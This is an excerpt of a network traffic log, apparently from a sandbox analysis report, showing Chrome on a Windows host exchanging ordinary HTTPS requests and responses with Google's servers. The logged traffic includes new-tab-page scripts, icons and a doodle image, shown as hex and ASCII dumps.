2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-21 06:10:36 UTC	1361	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700289,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-21 06:10:36 UTC	292	IN	Data Raw: 31 31 64 0d 0a 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f Data Ascii: 11dth;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f Data Ascii: 8000i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c Data Ascii: \u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c Data Ascii: 03d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",col

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49834	142.250.184.228	443	2920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 06:10:36 UTC	1018	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 06:10:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 06:10:36 UTC	372	IN	Data Raw: 66 32 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 52 69 73 65 20 6f 66 20 74 68 65 20 48 61 6c 66 20 4d 6f 6f 6e 22 2c 22 63 74 61 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 44 49 43 41 4d 41 41 41 41 70 78 2b 50 61 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 79 63 6a 58 43 39 71 34 54 43 73 49 66 46 73 34 72 41 72 34 61 37 71 6f 4f 4c 6a 33 43 34 71 49 4c 41 72 34 65 51 68 32 79 4a 66 46 33 46 74 49 71 35 71 34 72 4b 75 49 37 47 74 59 76 48 74 59 75 39 71 34 53 4e 66 Data Ascii: f23)]}'{"ddljson":{"accessibility_description":"","alt_text":"Rise of the Half Moon","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAADAFBMVEVHcEycjXC9q4TCsIfFs4rAr4a7qoOLj3C4qILAr4eQh2yJfF3FtIq5q4rKuI7GtYvHtYu9q4SNf
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 67 33 62 49 63 31 61 49 51 30 57 32 79 7a 7a 4e 61 4b 74 64 6b 6f 56 6e 55 6b 54 47 51 31 61 6f 55 32 61 34 63 37 61 6f 74 43 62 4a 42 46 63 4a 52 4c 64 4a 71 41 6e 36 2f 70 37 65 37 32 39 2f 6a 34 2b 66 72 78 39 50 58 74 37 2f 44 6d 36 65 76 6a 36 4f 76 65 35 75 7a 61 35 4f 72 51 34 4f 62 54 34 75 33 43 33 76 4f 36 32 66 47 77 30 2f 43 6d 7a 4f 79 64 78 65 65 54 76 65 43 43 72 74 52 36 70 73 39 79 6e 63 64 72 6c 62 31 6b 6a 72 52 63 68 61 74 54 66 4b 46 42 5a 34 30 39 59 34 6b 36 58 34 51 33 57 33 34 79 56 33 73 77 56 48 59 76 55 57 38 73 54 47 6f 70 52 32 51 6b 51 31 6b 68 50 6c 59 63 4f 55 34 5a 4e 6b 6f 58 4d 55 59 59 4e 45 67 56 4c 30 45 55 4c 54 34 53 4b 44 6b 51 4a 54 55 4f 49 69 38 4e 48 53 6f 4c 47 69 55 4a 46 69 41 49 45 78 77 48 45 42 63 47 44 Data Ascii: g3bIc1aIQ0W2yzzNaKtdkoVnUkTGQ1aoU2a4c7aotCbJBFcJRLdJqAn6/p7e729/j4+frx9PXt7/Dm6evj6Ove5uza5OrQ4ObT4u3C3vO62fGw0/CmzOydxeeTveCCrtR6ps9yncdrlb1kjrRchatTfKFBZ409Y4k6X4Q3W34yV3swVHYvUW8sTGopR2QkQ1khPlYcOU4ZNkoXMUYYNEgVL0EULT4SKDkQJTUOIi8NHSoLGiUJFiAIExwHEBcGD
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 68 63 4d 62 37 64 33 4c 42 4d 50 62 4d 4b 38 49 49 31 74 6f 67 4c 51 33 67 42 4e 6a 42 51 79 72 75 41 38 41 78 71 6f 45 59 5a 57 55 4c 63 42 6a 53 6b 56 65 57 71 30 61 6c 59 66 52 75 46 53 74 67 65 42 66 44 70 4d 41 54 50 48 4f 59 66 64 6f 41 56 4b 65 34 58 30 4f 37 51 64 4c 4a 32 39 78 46 33 78 41 33 76 79 56 69 49 6b 6e 72 4c 44 65 49 61 6e 6a 51 47 47 4e 45 45 4d 32 54 67 78 57 4f 42 39 6e 68 57 45 71 6a 6f 62 57 6e 62 66 72 64 38 61 42 42 45 43 6c 4f 2b 76 48 53 74 62 54 4a 30 70 6e 78 32 58 70 70 7a 4d 32 52 6c 77 38 6e 73 6c 49 72 4a 44 6d 2b 64 31 78 35 4c 55 4e 47 30 4e 54 36 5a 31 47 6e 76 59 45 68 43 35 4f 61 6f 63 73 55 76 48 5a 36 72 44 37 6e 47 45 6f 61 39 71 31 4f 2b 4e 63 4f 6b 70 33 78 6b 52 67 49 6a 69 32 35 6f 37 4c 30 74 76 6a 7a 38 6a Data Ascii: hcMb7d3LBMPbMK8II1togLQ3gBNjBQyruA8AxqoEYZWULcBjSkVeWq0alYfRuFStgeBfDpMATPHOYfdoAVKe4X0O7QdLJ29xF3xA3vyViIknrLDeIanjQGGNEEM2TgxWOB9nhWEqjobWnbfrd8aBBEClO+vHStbTJ0pnx2XppzM2Rlw8nslIrJDm+d1x5LUNG0NT6Z1GnvYEhC5OaocsUvHZ6rD7nGEoa9q1O+NcOkp3xkRgIji25o7L0tvjz8j
2024-11-21 06:10:36 UTC	730	IN	Data Raw: 39 73 74 59 73 4d 42 78 46 32 43 64 30 30 74 62 64 33 31 55 6a 4a 78 49 57 46 49 32 6a 4d 75 47 32 6d 45 4a 7a 6e 32 45 4c 6b 59 2b 68 43 59 37 47 4e 69 52 6a 43 4a 41 32 74 55 47 44 6b 46 45 4a 73 46 62 59 5a 34 61 4c 7a 43 74 74 79 4d 38 47 77 68 63 67 32 49 5a 56 35 77 68 62 69 33 6f 56 75 79 6e 50 47 63 49 68 4f 74 34 4a 72 35 33 54 35 37 5a 30 35 43 39 75 45 71 51 6b 47 78 79 48 73 68 59 68 7a 2f 74 66 33 4f 4f 64 45 2b 49 55 51 6a 6d 4e 69 4f 77 55 6e 46 4a 63 65 42 63 59 5a 4a 4f 4b 43 61 50 43 7a 49 31 72 79 2f 72 73 73 52 30 2f 34 54 56 44 4e 45 6a 6f 75 41 67 6b 4a 51 58 68 6c 48 59 4f 4b 37 53 4e 30 65 37 32 2f 47 47 2f 33 66 59 79 33 6e 38 41 34 75 79 62 33 37 2f 7a 7a 62 66 32 2f 37 76 6d 54 70 52 33 66 6b 2f 58 5a 31 39 78 74 44 6a 32 2f 54 Data Ascii: 9stYsMBxF2Cd00tbd31UjJxIWFI2jMuG2mEJzn2ELkY+hCY7GNiRjCJA2tUGDkFEJsFbYZ4aLzCttyM8Gwhcg2IZV5whbi3oVuynPGcIhOt4Jr53T57Z05C9uEqQkGxyHshYhz/tf3OOdE+IUQjmNiOwUnFJceBcYZJOKCaPCzI1ry/rssR0/4TVDNEjouAgkJQXhlHYOK7SN0e72/GG/3fYy3n8A4uyb37/zzbf2/7vmTpR3fk/XZ19xtDj2/T
2024-11-21 06:10:36 UTC	168	IN	Data Raw: 61 32 0d 0a 52 31 64 48 4e 44 36 46 79 6d 49 65 5a 76 4c 61 50 72 55 75 70 43 4a 41 79 5a 54 75 63 46 63 45 74 70 43 43 36 52 57 2f 6b 61 4f 76 66 6d 54 35 2b 76 6f 70 38 66 32 59 63 4f 4c 39 79 66 52 49 63 75 63 64 54 64 68 47 36 78 41 4c 76 66 34 69 64 31 62 4c 6a 6a 75 46 5a 4e 6e 62 6a 78 4d 50 32 5a 6e 4f 6d 5a 33 46 77 55 55 31 77 72 41 54 63 41 55 78 70 45 43 2b 78 4c 39 47 56 51 4b 53 49 38 79 35 39 65 67 54 61 49 73 7a 71 68 52 39 35 47 6e 33 73 4e 48 64 69 70 6d 76 73 58 30 4d 58 43 0d 0a Data Ascii: a2R1dHND6FymIeZvLaPrUupCJAyZTucFcEtpCC6RW/kaOvfmT5+vop8f2YcOL9yfRIcucdTdhG6xALvf4id1bLjjuFZNnbjxMP2ZnOmZ3FwUU1wrATcAUxpEC+xL9GVQKSI8y59egTaIszqhR95Gn3sNHdipmvsX0MXC
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 35 34 38 38 0d 0a 2b 74 66 51 6f 63 56 63 51 69 61 46 6b 45 4c 6d 45 7a 44 63 6f 70 34 68 70 4a 37 34 4f 6a 72 31 46 66 54 72 39 6f 4d 4c 31 37 6e 6e 55 2b 67 33 66 46 39 46 39 33 6c 70 31 50 31 31 39 64 75 75 2b 71 69 7a 4f 69 71 54 4e 7a 31 55 73 64 6d 5a 64 75 62 38 67 37 65 71 56 73 46 42 58 4d 50 6f 4b 71 36 6f 67 59 43 69 71 4a 41 43 64 30 68 76 4c 77 59 51 6e 62 71 36 75 67 70 63 6e 61 45 39 5a 46 37 68 50 35 72 30 47 55 61 48 42 46 66 54 5a 2f 6a 50 6f 74 2f 64 76 55 54 66 7a 48 44 72 6d 59 62 35 33 74 69 71 62 72 65 54 4f 5a 6e 48 79 37 6b 30 37 6f 57 55 79 61 52 6f 36 44 36 33 38 75 66 6f 44 78 63 48 6a 36 34 6e 7a 36 76 6f 66 71 2f 37 48 49 6d 4a 75 77 6b 64 6f 6b 6e 33 57 6b 43 64 5a 35 33 59 52 37 54 6d 55 59 64 49 6d 73 77 68 52 63 55 56 39 Data Ascii: 5488+tfQocVcQiaFkELmEzDcop4hpJ74Ojr1FfTr9oML17nnU+g3fF9F93lp1P119duu+qizOiqTNz1UsdmZdub8g7eqVsFBXMPoKq6ogYCiqJACd0hvLwYQnbq6ugpcnaE9ZF7hP5r0GUaHBFfTZ/jPot/dvUTfzHDrmYb53tiqbreTOZnHy7k07oWUyaRo6D638ufoDxcHj64nz6vofq/7HImJuwkdokn3WkCdZ53YR7TmUYdImswhRcUV9
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 52 58 6b 5a 56 61 72 68 4b 74 68 36 58 34 43 33 77 69 55 71 36 47 4e 59 53 56 31 72 64 35 62 79 38 6f 48 33 7a 73 34 55 66 69 2b 6b 37 6e 56 73 43 76 33 66 66 4e 41 66 47 2b 67 51 30 68 6b 63 58 68 6f 4d 53 67 42 4f 76 68 38 55 6f 51 2b 4b 62 62 34 43 4b 68 53 63 45 6f 7a 76 67 50 75 69 53 65 34 30 2b 6a 49 2b 67 50 6f 51 64 46 78 44 79 68 49 36 32 4c 71 53 61 72 34 6a 74 56 2b 6e 30 38 47 74 53 73 37 46 4c 58 74 47 44 45 2f 52 36 67 38 49 76 57 2b 64 59 67 31 43 56 35 64 54 5a 32 4d 47 4f 68 53 45 7a 72 7a 75 55 59 66 56 61 58 62 4b 48 2b 44 4a 58 72 31 4f 36 70 4f 38 4a 4b 75 7a 74 42 4f 42 61 53 30 38 52 5a 61 34 4b 44 44 31 69 38 6c 62 50 30 66 6c 31 34 41 62 65 71 48 46 65 78 56 6d 68 33 51 34 63 77 4e 30 55 6f 63 61 49 42 34 35 47 54 6a 74 30 47 34 Data Ascii: RXkZVarhKth6X4C3wiUq6GNYSV1rd5by8oH3zs4Ufi+k7nVsCv3ffNAfG+gQ0hkcXhoMSgBOvh8UoQ+Kbb4CKhScEozvgPuiSe40+jI+gPoQdFxDyhI62LqSar4jtV+n08GtSs7FLXtGDE/R6g8IvW+dYg1CV5dTZ2MGOhSEzrzuUYfVaXbKH+DJXr1O6pO8JKuztBOBaS08RZa4KDD1i8lbP0fl14AbeqHFexVmh3Q4cwN0UocaIB45GTjt0G4
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 32 5a 36 33 54 32 74 6b 43 2b 4d 4a 75 37 50 2b 68 47 76 78 69 39 49 62 77 5a 41 64 6d 76 33 51 62 39 73 6e 39 4a 36 4c 41 36 76 57 37 4d 54 75 61 45 2f 6b 58 34 49 2b 4e 30 55 4b 66 58 71 59 6b 6e 4a 41 36 69 30 71 2b 48 61 77 71 61 69 31 4c 57 42 51 39 78 78 37 79 45 7a 70 75 46 76 45 64 39 4a 30 71 76 76 35 78 2b 2b 70 54 4d 61 58 4e 53 76 77 71 64 56 76 2b 69 4e 43 69 4e 76 2f 2f 6d 57 7a 4b 50 78 37 33 5a 65 33 42 72 64 59 69 34 41 6a 66 79 71 46 38 55 46 78 62 33 4c 2f 42 66 49 33 54 54 72 44 4f 69 34 37 2f 63 41 58 42 4b 6f 53 4f 65 4d 36 62 37 38 6a 64 79 50 63 64 31 50 75 62 38 56 54 43 43 33 36 4c 73 78 72 50 6c 42 34 4f 75 52 74 38 74 58 35 62 35 58 68 36 37 41 6e 31 4c 6b 5a 38 32 72 49 5a 38 38 56 4f 6e 53 44 32 34 38 2f 49 52 52 4b 75 72 31 Data Ascii: 2Z63T2tkC+MJu7P+hGvxi9IbwZAdmv3Qb9sn9J6LA6vW7MTuaE/kX4I+N0UKfXqYknJA6i0q+Hawqai1LWBQ9xx7yEzpuFvEd9J0qvv5x++pTMaXNSvwqdVv+iNCiNv//mWzKPx73Ze3BrdYi4AjfyqF8UFxb3L/BfI3TTrDOi47/cAXBKoSOeM6b78jdyPcd1Pub8VTCC36LsxrPlB4OuRt8tX5b5Xh67An1LkZ82rIZ88VOnSD248/IRRKur1
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 32 62 2f 56 4e 67 57 32 37 72 4a 37 2f 44 58 6b 54 34 76 56 56 54 73 78 46 33 30 46 50 69 64 30 69 4d 64 6d 6a 4e 46 39 30 4a 48 53 2f 36 62 52 66 63 6a 70 6f 4f 35 71 44 68 64 47 4e 4c 4f 74 47 52 36 72 6d 4d 33 72 69 5a 6e 67 47 54 6c 69 64 35 56 61 4c 48 54 52 70 37 63 4c 38 63 57 30 5a 33 51 53 35 77 58 52 37 44 6c 68 72 74 6a 39 30 42 55 37 68 7a 51 64 55 67 64 7a 2f 69 64 33 30 58 72 2b 37 2b 38 57 48 67 49 36 53 44 66 4b 42 34 6a 74 2f 66 34 75 39 39 64 75 67 6b 35 2f 2b 30 54 71 71 71 75 4e 57 2b 53 4a 79 65 6b 55 38 2f 70 45 76 65 36 65 67 38 46 68 4f 46 48 39 76 4f 71 50 36 71 4b 59 51 6f 39 4a 67 4a 2f 79 41 6e 77 55 4e 31 4f 39 37 4c 49 70 64 58 43 6e 64 43 44 6e 51 64 66 68 2b 2b 4f 72 54 6c 65 31 37 46 43 78 35 7a 68 4f 43 52 64 65 76 62 61 Data Ascii: 2b/VNgW27rJ7/DXkT4vVVTsxF30FPid0iMdmjNF90JHS/6bRfcjpoO5qDhdGNLOtGR6rmM3riZngGTlid5VaLHTRp7cL8cW0Z3QS5wXR7Dlhrtj90BU7hzQdUgdz/id30Xr+7+8WHgI6SDfKB4jt/f4u99dugk5/+0TqqquNW+SJyekU8/pEve6eg8FhOFH9vOqP6qKYQo9JgJ/yAnwUN1O97LIpdXCndCDnQdfh++OrTle17FCx5zhOCRdevba
2024-11-21 06:10:36 UTC	1390	IN	Data Raw: 43 4a 2f 52 57 77 4e 35 7a 69 72 42 31 71 39 33 72 74 55 76 4e 64 30 73 33 71 59 49 35 4f 37 58 72 6f 53 2f 50 4a 6a 45 63 64 4e 35 70 32 74 36 4b 54 72 4f 34 54 77 2f 33 4b 71 70 79 4d 76 54 74 7a 4b 68 45 5a 78 4e 66 75 46 66 6f 70 4f 76 50 4c 73 2f 4a 6f 76 37 77 72 2b 32 74 33 67 58 36 34 32 2f 7a 38 75 2f 64 38 69 4e 73 33 6e 68 48 35 74 74 63 2f 72 33 33 6f 67 77 35 39 6f 6a 75 74 34 64 6f 54 46 37 74 51 46 37 42 61 30 42 47 30 53 6e 73 35 72 42 57 51 31 38 6d 4d 51 72 39 62 54 67 66 31 42 67 62 49 76 63 62 7a 2b 41 79 5a 2b 32 62 76 56 4b 4c 37 39 70 39 31 30 59 6e 7a 47 6a 56 64 6f 56 52 43 44 39 66 4e 64 37 75 4c 4b 64 31 78 79 39 77 45 48 53 65 5a 37 5a 6c 45 4f 75 66 66 59 73 75 75 47 4f 68 67 4c 54 37 6e 41 6d 58 51 73 71 33 2f 4b 75 72 4c 46 Data Ascii: CJ/RWwN5zirB1q93rtUvNd0s3qYI5O7XroS/PJjEcdN5p2t6KTrO4Tw/3KqpyMvTtzKhEZxNfuFfopOvPLs/Jov7wr+2t3gX642/z8u/d8iNs3nhH5ttc/r33ogw59ojut4doTF7tQF7Ba0BG0Sns5rBWQ18mMQr9bTgf1BgbIvcbz+AyZ+2bvVKL79p910YnzGjVdoVRCD9fNd7uLKd1xy9wEHSeZ7ZlEOuffYsuuGOhgLT7nAmXQsq3/KurLF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49835	142.250.184.228	443	2920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
